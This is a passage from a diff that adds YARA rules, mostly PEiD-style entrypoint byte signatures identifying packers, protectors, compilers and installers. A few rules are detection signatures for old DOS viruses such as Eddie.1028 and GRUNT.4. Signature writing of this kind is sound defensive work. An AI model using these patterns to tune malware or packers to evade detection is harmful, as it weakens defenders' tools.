+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_v13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V18XV19X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V1.8X-V1.9X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _Symantec_Visual_Cafe_v30_
+{
+	meta:
+		description = "Symantec Visual Cafe v3.0"
+	strings:
+		$0 = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PassLock_2000_v10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 v1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+		$1 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _KGB_SFX_
+{
+	meta:
+		description = "KGB SFX"
+	strings:
+		$0 = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V34V35__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.4-V3.5 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Excalibur_103__forgot_
+{
+	meta:
+		description = "Excalibur 1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013_
+{
+	meta:
+		description = "XCR v0.13"
+	strings:
+		$0 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Guardant_Stealth_aka_Novex_Dongle_
+{
+	meta:
+		description = "Guardant Stealth aka Novex Dongle"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+		$1 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Free_Pascal_v1010_win32_console_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 console)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+	condition:
+		$0
+}
+rule _DOS32_v33_DOSExtender_and_Loader_
+{
+	meta:
+		description = "DOS32 v.3.3 DOS-Extender and Loader"
+	strings:
+		$0 = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v1051_
+{
+	meta:
+		description = "SVK-Protector v1.051"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+		$1 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrunchPE_v50_
+{
+	meta:
+		description = "Crunch/PE v5.0"
+	strings:
+		$0 = {EB 15 03 ?? ?? ?? 06}
+	condition:
+		$0
+}
+rule _MinGW_v32x__mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_110__Randy_Li_h_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+	condition:
+		$0 at entrypoint
+}
+rule _AHPack_01__FEUERRADER_
+{
+	meta:
+		description = "AHPack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071_
+{
+	meta:
+		description = "tElock v0.71"
+	strings:
+		$0 = {60 E8 ED 10 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v022__v023Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.22 ~ v0.23Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Trilobytes_JPEG_graphics_Library_
+{
+	meta:
+		description = "Trilobyte's JPEG graphics Library"
+	strings:
+		$0 = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _eXPressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+	condition:
+		$0
+}
+rule _Shrink_Wrap_v14_
+{
+	meta:
+		description = "Shrink Wrap v1.4"
+	strings:
+		$0 = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Crunch/PE Heuristic] --> Anorganix"
+	strings:
+		$0 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+		$1 = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Eddie1028_
+{
+	meta:
+		description = "Vx: Eddie.1028"
+	strings:
+		$0 = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT4Family_
+{
+	meta:
+		description = "Vx: GRUNT.4.Family"
+	strings:
+		$0 = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v098_
+{
+	meta:
+		description = "PECompact v0.98"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CD-Cops II] --> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+		$1 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Zortech_C_v200_1988_1989_
+{
+	meta:
+		description = "Zortech C v2.00 1988, 1989"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _ActiveMARKTM_R5311140__Trymedia_
+{
+	meta:
+		description = "ActiveMARK[TM] R5.31.1140 -> Trymedia"
+	strings:
+		$0 = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Number_One_
+{
+	meta:
+		description = "Vx: Number One"
+	strings:
+		$0 = {F9 07 3C 53 6D 69 6C 65 3E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1990_07_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (07)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0971__v0976_
+{
+	meta:
+		description = "PECompact v0.971 - v0.976"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_COM2EXE_
+{
+	meta:
+		description = "ExeTools COM2EXE"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_21x_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FixupPak_v120_
+{
+	meta:
+		description = "FixupPak v1.20"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+		$1 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Guarder_v18__Exeiconcom_h_
+{
+	meta:
+		description = "Exe Guarder v1.8 -> Exeicon.com (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MEW 11 SE 1.0] --> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+		$1 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_C_20_
+{
+	meta:
+		description = "Microsoft Visual C 2.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_p_ECLiPSE_layer_
+{
+	meta:
+		description = "UPX + ECLiPSE layer"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_executable_
+{
+	meta:
+		description = ".NET executable"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Crypter_13Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Crypter 1.3-->Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v1xx_
+{
+	meta:
+		description = "Nullsoft Install System v1.xx"
+	strings:
+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_SPx_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 SPx"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+		$1 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TXT2COM_v206_
+{
+	meta:
+		description = "TXT2COM v2.06"
+	strings:
+		$0 = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v100d_
+{
+	meta:
+		description = "DIET v1.00d"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEShit_
+{
+	meta:
+		description = "PEShit"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZMA__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZMA] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint
+}
+rule _AcidCrypt_
+{
+	meta:
+		description = "AcidCrypt"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+		$1 = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v13_
+{
+	meta:
+		description = "FSG v1.3"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_Modified_Stub_b__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub b -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_07_
+{
+	meta:
+		description = "Unknown packer (07)"
+	strings:
+		$0 = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v118_
+{
+	meta:
+		description = "HACKSTOP v1.18"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b1_
+{
+	meta:
+		description = "Armadillo v2.60b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _AdFlt2_
+{
+	meta:
+		description = "AdFlt2"
+	strings:
+		$0 = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11XV12X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X-V1.2X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_vxxxx_
+{
+	meta:
+		description = "EXECryptor vx.x.x.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v211_
+{
+	meta:
+		description = "SoftSentry v2.11"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_h2_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET] (h2)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] --> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+		$1 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v1061b_
+{
+	meta:
+		description = "ASPack v1.061b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SEAAXE_
+{
+	meta:
+		description = "SEA-AXE"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_19881989_
+{
+	meta:
+		description = "Microsoft C (1988/1989)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Aluwain_v809_
+{
+	meta:
+		description = "Aluwain v8.09"
+	strings:
+		$0 = {8B EC 1E E8 ?? ?? 9D 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Lockless Intro Pack] --> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+		$1 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_Setup_Module__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi Setup Module] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+		$1 = {55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE2COM_Encrypted_without_selfcheck_
+{
+	meta:
+		description = "EXE2COM (Encrypted without selfcheck)"
+	strings:
